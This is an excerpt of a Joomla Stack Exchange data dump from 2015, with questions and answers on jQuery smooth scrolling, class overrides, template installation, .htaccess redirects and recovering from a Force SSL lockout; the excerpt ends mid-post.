  <row Id="10827" PostTypeId="1" AcceptedAnswerId="10838" CreationDate="2015-07-15T07:05:38.917" Score="2" ViewCount="569" Body="&lt;p&gt;Yes i know this has been asked before here but i cannot seem to get an answer from the suggested solutions. I am trying to create one of the items in my Main menu to scroll to certain section on my website. The code that i am using which i have inserted just before closing of the body tag is as shown &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA; &#xA;var $root = jQuery('html, body');&#xA;jQuery('#t3-banner').click(function() {&#xA;    var href = jQuery.attr(this, 'href');&#xA;    $root.animate({&#xA;        scrollTop: $(href).offset().top&#xA;    }, 2000, function () {&#xA;        window.location.hash = href;&#xA;    });&#xA;    return false;&#xA;}); &#xA;&lt;/pre&gt; &#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section that i am trying to scroll to is the #t3-banner. On the menu item (which i have created as an external menu)i have added the #t3-banner in the link section.But it doesn't seem to work. I am not very good in j query. Could anyone here help me please.The site is this And the menu is let us hunt for you &lt;/p&gt;&#xA;" OwnerUserId="5507" LastEditorUserId="5507" LastEditDate="2015-07-17T11:33:48.063" LastActivityDate="2015-07-17T11:33:48.063" Title="Scroll to a section or module" Tags="|jquery|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10828" PostTypeId="1" AcceptedAnswerId="14546" CreationDate="2015-07-15T08:01:22.223" Score="2" ViewCount="115" Body="&lt;p&gt;For the last few months, I have been working with Laravel, and I am just impressed the way the site get deployed to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to deploy Joomla site using Envoy task runner like Laravel, so there is no need of login to server and pull from bitbucket?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="126" LastEditDate="2015-12-03T06:46:13.843" LastActivityDate="2015-12-03T07:34:35.700" Title="Envoy setup for Joomla" Tags="|git|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10829" PostTypeId="2" ParentId="7545" CreationDate="2015-07-15T10:37:45.807" Score="1" Body="&lt;p&gt;Maybe this is something you need: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/regreminder&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/regreminder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Joomla user password is, of course, encrypted. This is why system &quot;knows&quot; it just at the moment when you create it, i.e. only then it exists as text string for a while. Next moment it should be pulled out of the database to be resend to user in readable format, which is impossible. I am mentionig this second solution (when send username / password to mail is enabled) because it can be integrative part of registration. If you use this option - resending mails would not be of any use, since you (system) can not resend understandable password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I hope above mentioned extension helps.&#xA;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-07-15T10:37:45.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10830" PostTypeId="2" ParentId="9062" CreationDate="2015-07-15T11:18:08.360" Score="1" Body="&lt;p&gt;Do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$catID = JRequest::getVar('catid');&#xA;echo &quot;&amp;lt;a href='index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=&quot;.$catID.&quot;'&amp;gt;Link to blog view of category&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, of course, only if you have article shown in &quot;component&quot; position at the moment. Link is blog view of current item's category. Not so perfect, but does what you want. Complete solution would be to see if you already have defined that blog view within menu and then adding $Itemid at the end of url. Then, for more complete solution use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catID = JRequest::getVar('catid');&#xA;echo '&amp;lt;a href=&quot;'.JRoute::_(ContentHelperRoute::getCategoryRoute($catID)).'&quot;&amp;gt;Link to menu item of category if exists&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Texts within &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags can be replaced by category title for example...&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-07-15T11:18:08.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10832" PostTypeId="2" ParentId="10824" CreationDate="2015-07-15T11:33:56.660" Score="2" Body="&lt;p&gt;Personally I don't like using &lt;code&gt;localhost/site1&lt;/code&gt; and &lt;code&gt;localhost/site1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I prefer using a Virtual Host so everything is &lt;strong&gt;completely&lt;/strong&gt; separated. The result would mean using domains such as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;site1.loc&#xA;site2.loc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Similar to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;site1.com&#xA;site2.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It's a little bit of work to get set up, however the end result is far better.&lt;/p&gt;&#xA;&lt;p&gt;We've compiled a few answer for different platforms which you can see below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4156/virtual-host-for-joomla/4157&quot;&gt;Virtual host for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is no answer specifically for Xampp, but one for Wampserver which I also prefer as it's more flexible in my opinion.&lt;/p&gt;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;h3&gt;Why is using a Virtual Host better?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It results in a cleaner URL structure&lt;/li&gt;&#xA;&lt;li&gt;Setting up permissions for each individual domain is possible&lt;/li&gt;&#xA;&lt;li&gt;Dealing with base URL's can sometimes with an issue with some applications or CMS's &lt;strong&gt;without&lt;/strong&gt; a Virtual Host&lt;/li&gt;&#xA;&lt;li&gt;You can use different ports for each Virtual Host (advanced usage)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are probably some more technical advantages but that's something a server administrator would be able to shed more light on&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-15T11:47:28.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10835" PostTypeId="2" ParentId="10828" CreationDate="2015-07-16T07:04:56.943" Score="2" Body="&lt;p&gt;In Joomla, there is no similar own tool for defining common tasks to be run on your remote servers. As usual, you can integrate Jenkins, Docker, Gulp, Bower or other tools to automate tasks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related with the question, I have found these JAB sessions are interesting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=DrXkoyzQwi4&amp;amp;list=PLSwFVRVZ3joRlHSiJ8JxKsvI9uWlr1tik&amp;amp;index=14&quot; rel=&quot;nofollow&quot;&gt;Setting up Jenkins with Docker to Test your Joomla! Extension&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=6ihi0KDr-Bs&amp;amp;index=45&amp;amp;list=PLSwFVRVZ3joRlHSiJ8JxKsvI9uWlr1tik&quot; rel=&quot;nofollow&quot;&gt;Gulp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-16T07:04:56.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10836" PostTypeId="2" ParentId="10814" CreationDate="2015-07-16T07:23:03.340" Score="1" Body="&lt;p&gt;Yes, it is possible, but your have to create your own CLI script to translate the command line to the Joomla API command. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To receive a list of IDs (comma separated) from an argument&lt;/li&gt;&#xA;&lt;li&gt;Initialize JInput,&lt;/li&gt;&#xA;&lt;li&gt;and send it to your controller.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can check any of the cli/ script to create your own script.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-16T07:23:03.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10837" PostTypeId="1" CreationDate="2015-07-16T09:09:31.267" Score="4" ViewCount="588" Body="&lt;p&gt;I want to override &lt;code&gt;JFilterInput&lt;/code&gt; class on Joomla. The file is on below path:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Joomla_Path]/libraries/joomla/filter/input.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because this file developed just for non-Unicode characters.So it shows &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Array to string conversion&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;on line &lt;code&gt;233&lt;/code&gt; in many components like &lt;code&gt;com_finder&lt;/code&gt; that uses this class for Unicode characters. That line is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = (string) preg_replace('/[^A-Z0-9_\.-]/i', '', $source);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for this reason I wanted to override this line and same others. firstly I developed a Joomla system plugin to override this file with &lt;code&gt;onAfterRoute()&lt;/code&gt; method but by following &lt;a href=&quot;https://joomla.stackexchange.com/questions/9076/joomla-3-plugin-to-override-class-jmenusite&quot;&gt;this&lt;/a&gt; post in stackexchange I changed &lt;code&gt;onAfterRoute()&lt;/code&gt; method to &lt;code&gt;onAfterInitialise()&lt;/code&gt; method. But again it shows below fatal error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Cannot redeclare class JFilterInput&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I'm looking forward to get helps from everybody which solve this problem.&#xA;in addition, I use last version of Joomla&lt;/p&gt;&#xA;" OwnerUserId="2098" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-08-06T18:03:25.310" Title="How to override Joomla input.php(JFilterInput class)" Tags="|joomla-3.x|overrides|fatal-error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10838" PostTypeId="2" ParentId="10827" CreationDate="2015-07-16T09:42:36.557" Score="2" Body="&lt;p&gt;Your selector &lt;code&gt;jQuery('#t3-banner')&lt;/code&gt; is wrong. This should be selector for your &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;, which has attribute &lt;code&gt;href=&quot;#t3-banner&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would work with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    var $root = $('html, body');&#xA;    $('a[href^=&quot;#&quot;]').click(function(e) {&#xA;        // Don't follow the link, orherwise it would jump to section without animation&#xA;        e.preventDefault();&#xA;&#xA;        var href = $.attr(this, 'href');&#xA;        $root.animate({&#xA;            scrollTop: $(href).offset().top&#xA;        }, 2000, function () {&#xA;            window.location.hash = href;&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code has to be in &lt;code&gt;jQuery(document).ready&lt;/code&gt;, because event listener can only be added if DOM is ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It selects all &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; elements, what have &lt;code&gt;#&lt;/code&gt; in &lt;code&gt;href&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Beware, it takes ALL &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; elementson whole page. If you only want it for menu, you should make your selector more specific. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if your menu wrapper has ID &lt;code&gt;menu&lt;/code&gt;, then it could be &lt;code&gt;jQuery('#menu a[href^=&quot;#&quot;]')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look on &lt;a href=&quot;https://joomla.stackexchange.com/a/9569/3944&quot;&gt;my answer&lt;/a&gt; on &quot;How to make a single-page template?&quot;. Perhaps clarifies things a bit.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-07-16T10:57:37.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10839" PostTypeId="2" ParentId="10816" CreationDate="2015-07-16T09:55:38.490" Score="5" Body="&lt;p&gt;Joomla! dosen't support &lt;code&gt;style&lt;/code&gt; attribute on &lt;code&gt;text&lt;/code&gt; field or sending it with &lt;code&gt;getInput&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect you know where &lt;code&gt;similar_text&lt;/code&gt; field is defined in XML. If you don't then they are usually in &lt;code&gt;/components/COMPONENT_NAME/models/forms&lt;/code&gt; for components. For modules, they are in general &lt;code&gt;.xml&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should add &lt;code&gt;class&lt;/code&gt; attribute to that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;similar_text&quot; &#xA;    type=&quot;text&quot;&#xA;    label=&quot;Similar text&quot;&#xA;    class=&quot;inputbox red-bg&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create .css file and load it on your extension. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; how it's done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input.red-bg{&#xA;    background: red;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-07-16T09:55:38.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10840" PostTypeId="1" AcceptedAnswerId="10841" CreationDate="2015-07-16T11:56:30.820" Score="6" ViewCount="339" Body="&lt;p&gt;Joomla 3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to download (already installed) plugins from a live website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scenario is that I downloaded a free plugin a while back, extracted it somewhere on my local pc and can't find it again! However I do have the same plugin installed on one of my other live hosted websites, so is it possible for me to 'download' it from Website A, re-zip, and upload it to Website B? If so, how? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-07-16T12:11:00.563" Title="Plugin download from live site" Tags="|plugin|extensions|download|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10841" PostTypeId="2" ParentId="10840" CreationDate="2015-07-16T12:11:00.563" Score="3" Body="&lt;p&gt;Yes, it is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing to do is carefully read through the plugin XML file, paying special attention to the &lt;code&gt;&amp;lt;files&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest creating a folder on your desktop, and in there, put all the plugin files that are defined in the &lt;code&gt;&amp;lt;files&amp;gt;&lt;/code&gt;. Of course, use subdirectories if any have been defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the languages, download them and place them in the folder you have created on your desktop. if you see &lt;code&gt;folder=&quot;&quot;&lt;/code&gt; attribute used on the &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; tag, create a sub-directory and place the language files in there instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, zip up the folder and install it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-16T12:11:00.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10843" PostTypeId="1" AcceptedAnswerId="10845" CreationDate="2015-07-17T10:39:50.500" Score="1" ViewCount="690" Body="&lt;p&gt;I am programming a component with two views, let's say:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View1: Category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View2: Article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the menu manager I set the category as the entry point to my component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template has a sidebar next to the content where I display some modules. &#xA;For the &lt;strong&gt;category view&lt;/strong&gt;, that is fine; i want to see the modules in the sidebar, however in the &lt;strong&gt;article view&lt;/strong&gt;, I would like to disable the sidebar completely, as this view needs more space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the article view does not have a menu item, I cannot simply deactiviate the modules in the menu manager, am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what my suggested way would be to somehow deactivate teh render-position functions from my component (or empty the module-list of a certain position??)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yosh&lt;/p&gt;&#xA;" OwnerUserId="5585" LastActivityDate="2015-07-17T15:43:40.130" Title="Can I disable a module position in own component?" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10845" PostTypeId="2" ParentId="10843" CreationDate="2015-07-17T15:43:40.130" Score="0" Body="&lt;p&gt;Modify your main template file (&lt;code&gt;/templates/YOURTEMPLATE/index.php&lt;/code&gt;) and use something like this to disable sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$component = $input-&amp;gt;get('option');&#xA;$view = $input-&amp;gt;get('view');&#xA;&#xA;$disable_sidebar = ($component==='com_mycomponent' AND $view==='mycomponentarticleview');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;$disable_sidebar&lt;/code&gt; in your template HTML to decide if sidebar should be visible. &lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-17T15:43:40.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10847" PostTypeId="2" ParentId="10837" CreationDate="2015-07-17T15:54:40.203" Score="1" Body="&lt;p&gt;It is strange that it return &quot;Notice: Array to string conversion&quot;. It usually means that you try to get array variable using string functions. Check what data do you push directly in &lt;code&gt;$_REQUEST&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to question. You can always use &lt;code&gt;RAW&lt;/code&gt; type of filter if filtering is to strict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still need to override this class please check this plugin sample:&#xA;&lt;a href=&quot;https://gist.github.com/dongilbert/3237387&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/dongilbert/3237387&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-17T15:54:40.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10849" PostTypeId="2" ParentId="9062" CreationDate="2015-07-17T16:18:21.350" Score="2" Body="&lt;p&gt;Use &lt;code&gt;ContentHelperRoute&lt;/code&gt; to get article category url. It can be one like this this article view:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(ContentHelperRoute::getCategoryRoute($this-&amp;gt;item-&amp;gt;catslug))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you need this out of &lt;code&gt;com_content&lt;/code&gt; component you will have to add &lt;code&gt;ContentHelperRoute&lt;/code&gt; declaration too:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_SITE.'/components/com_content/helpers/route.php'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And &lt;code&gt;$this-&amp;gt;item-&amp;gt;catslug&lt;/code&gt; will change to something like this &lt;code&gt;$item-&amp;gt;catslug&lt;/code&gt;. It depends on in what variable do you store article info. &lt;code&gt;catslug&lt;/code&gt; contains combined category ID and category alias in this way: &lt;code&gt;ID:ALIAS&lt;/code&gt;. System use this way for all category url's so it would be better to follow this practice to assure links stay consistent.&lt;/p&gt;&#xA;&lt;h3&gt;Links&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/helpers/route.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;ContentHelperRoute specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-17T16:18:21.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10851" PostTypeId="1" AcceptedAnswerId="10857" CreationDate="2015-07-18T06:25:59.090" Score="1" ViewCount="578" Body="&lt;p&gt;I have a new website setup installed on a host&#xA;&lt;br&gt;Website Details :&#xA;Joomla Version : 3.4+&#xA;Template : Osmosis (Rockettheme) &lt;br&gt;&#xA;I am installing a template but I am getting an issue while installing it&#xA;I have a template bundle of around 1.2 MB so no issues of Max Upload limit&#xA;&lt;br&gt;Steps :&#xA;&lt;br&gt; Select the file from file explorer  and upload it&#xA;And Then i get a completely blank screen .&#xA;&lt;br&gt;When i log into FTP I see the template bundle and try it installing via directory&#xA;still same white blank page&#xA;&lt;br&gt;I tried it using url by specifying the directory path&#xA;still same white blank page&#xA;&lt;br&gt;I posted a ticket on the hosting but they mentioned something wrong about the files.I Tried them on localhost and they do work fine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yo0wA.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;br&gt;&lt;br&gt;Here is the localhost screenshot of successful installation&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3G09Y.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am currently unable to find the problem. What can be the possible error that i can fix &lt;br&gt; Appreciate your input.&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-20T18:19:30.750" Title="Template Installation Stuck : Joomla 3 + Rockettheme" Tags="|joomla-3.x|installation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10853" PostTypeId="1" CreationDate="2015-07-18T08:30:52.610" Score="1" ViewCount="307" Body="&lt;p&gt;I've got a Joomla 2.5 website and a phpbb forum together.&#xA;I wanted to redirect the registration of the Joomla Website to the registration to my forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current registration link (in joomla 2.5) is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mywebsite.com/component/users/?view=registration&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to redirect it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mywebsite.com/forum/ (or &quot;mywebsite.com/forum&quot; ,without the final slash)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried traditional methods and they did no work, I also tried query redirect but everything I found on the web was about redirecting a query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mywebsite.com/something?query=somethingelse&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but in this particular case, the query is after the &quot;/&quot; so it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you guys can help me. Thank you a lot.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2016-02-16T15:41:14.503" Title=".htaccess particular query redirect?" Tags="|joomla-2.5|.htaccess-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10854" PostTypeId="2" ParentId="10853" CreationDate="2015-07-18T10:51:15.240" Score="0" Body="&lt;p&gt;I haven't ttried it out myelsf, but this code should work. Remeber to to write conditions in the .htaccess after the &quot;RewriteEngine on&quot; rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rewriterule ^component/users/?view=registration(.*)$ http://example.com/forummywebsite.com/forum/$1 [r=301,nc]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="5585" LastActivityDate="2015-07-18T10:51:15.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10855" PostTypeId="1" CreationDate="2015-07-18T12:21:38.613" Score="1" ViewCount="85" Body="&lt;p&gt;Is there a way to check if in a Joomla! installation there are extensions from a specific vendor?&#xA;In a plugin that i have i need to apply different procedures if a specific vendor products are present. Maybe querying db for author name?&#xA;Please advise.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2015-07-18T14:03:16.363" LastActivityDate="2015-07-19T18:59:58.080" Title="Check extensions vendor" Tags="|joomla-3.x|php|development|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10856" PostTypeId="2" ParentId="10855" CreationDate="2015-07-18T18:18:37.450" Score="2" Body="&lt;p&gt;The author is saved in the &lt;code&gt;manifest_cache&lt;/code&gt; in the &lt;code&gt;#__extensions&lt;/code&gt; table.&#xA;So you need to query the db to get that fields and the json_decode the values (or pass it into JRegistry) and look for the author.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-07-18T18:18:37.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10857" PostTypeId="2" ParentId="10851" CreationDate="2015-07-19T08:16:33.590" Score="1" Body="&lt;p&gt;&lt;strong&gt;A Blank page is a PHP error page&lt;/strong&gt;, with disabled error reporting. You have to enable PHP error reporting to gather more information about what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your hosting control panel, you can most probably enable PHP Error reporting. Additionally, your hosting support is able to check the Blank page or enable error reporting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: It might be a memory limitation. Some hosters apply very low restrictions.  &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-19T08:16:33.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10858" PostTypeId="1" AcceptedAnswerId="10859" CreationDate="2015-07-19T08:47:36.963" Score="2" ViewCount="867" Body="&lt;p&gt;now this is awkward, I activated &quot;Force SSL&quot; on the entire site and getting a redirect loop. I can't login on my admin because of the loop. Is there a way to disable this function outside of the Admin and how ?&lt;/p&gt;&#xA;" OwnerUserId="5534" LastActivityDate="2023-02-20T21:25:24.247" Title="Locked me out of my administrator after activating &quot;Force SSL&quot; (Redirect Loop)" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10859" PostTypeId="2" ParentId="10858" CreationDate="2015-07-19T10:09:07.707" Score="5" Body="&lt;p&gt;Open your configuration.php file on root of your site.&#xA; Find &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;public $force_ssl = '2';&#xA;  and set it 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5327" LastActivityDate="2015-07-19T10:09:07.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10860" PostTypeId="1" CreationDate="2015-07-19T13:18:04.507" Score="3" ViewCount="200" Body="&lt;p&gt;I would like to know in Joomla framework, there is a way to change priority loading some Joomla core classes after using &lt;code&gt;JLoader::register()&lt;/code&gt; method in a system plugin developed to override Joomla core classes? or We have to override whole core classes to run this process. of course I saw many suggestions in &lt;a href=&quot;https://joomla.stackexchange.com/a/5454/2098&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/a/324/2098&quot;&gt;this&lt;/a&gt; post but they're very messy and confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, I followed &lt;a href=&quot;https://gist.github.com/dongilbert/3237387&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; sample code to override. I just wanted to override JFilterInput class in &lt;code&gt;filter&lt;/code&gt; folder on Joomla libraries path. But this class imported in other core class, so Joomla doesn't load or register(I don't know) my custom &lt;code&gt;JFilterInput(input.php)&lt;/code&gt;. I added some track lines and it shows, to load original JFilterInput class not my custom class in below file on line &lt;code&gt;91&lt;/code&gt; with mentioned code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  